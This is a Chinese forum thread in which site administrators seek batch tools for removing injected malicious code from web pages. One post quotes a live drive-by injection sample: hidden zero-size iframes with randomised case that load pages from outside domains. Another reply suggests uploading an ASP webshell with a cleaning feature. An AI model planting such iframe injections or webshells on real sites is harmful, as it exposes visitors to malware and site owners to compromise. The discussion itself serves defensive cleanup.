32 12
发新话题
打印

[讨论]寻求反挂马工具 批量清除网页工具 希望有心人提供

其实就是用批量修改后缀的软件把站点下的所有文件修改为txt后缀.
然后再用批处理.或者其他文件处理软件.处理文本里的.一句话马 或者况架
然后再把格式变回来.可行?
诶,诶,

TOP

不用了,你将计就计。自己传个asp大马,找个有自动清马的大马,把地址加上,木马地址一般都是一样的吧,批量删!

Over...不用什么雷客图那些。
与狼共舞!

TOP

找个可以查找马的大马,自己挂马在杀马是个不错的办法哦

TOP

貌似是个老帖了,我有个问题,借这个主题问下,帮助一网站清马,马是批量挂的,本来可以用批量清马的工具的。但是这个挂马者用的是随机字母大小写挂的,如:

<iframE src=hTTp://xxx.llxxcx.cn/pv.hTm width=0 Name=&#39;1220&#39; height=0></iframe><iframe src=Http://aa.llsging.com/ww/new05.Htm?075 width=1 namE=&#39;1220&#39; height=1></iframe>

也就是马的地址某个字母大小写,所以这样就没法批量清马了。
问,现在有对大小写不敏感的清马工具么?请各位指点!

TOP

上传不了附件,

需要的朋友搜索下网络 批量字符修改器

TOP

引用:
引用第28楼我爱一条柴于2007-11-22 22:17发表的 :
貌似是个老帖了,我有个问题,借这个主题问下,帮助一网站清马,马是批量挂的,本来可以用批量清马的工具的。但是这个挂马者用的是随机字母大小写挂的,如:

<iframE src=hTTp://xxx.llxxcx.cn/pv.hTm width=0 Name=&#39;1220&#39; height=0></iframe><iframe src=Http://aa.llsging.com/ww/new05.Htm?075 width=1 namE=&#39;1220&#39; height=1></iframe>

也就是马的地址某个字母大小写,所以这样就没法批量清马了。
.......
你可以将反挂马程序打开,修改其中读取目标文件函数加入 lcase 函数将目标文件中的英文全部转换小写,再将自身的匹配特征码也作相同处理后即刻不区分大小写。
很好.

TOP

bink 说的不错。。。我也见过 忽略大小写 的。。。不过好像 是EXE 的。。。

TOP

 32 12
发新话题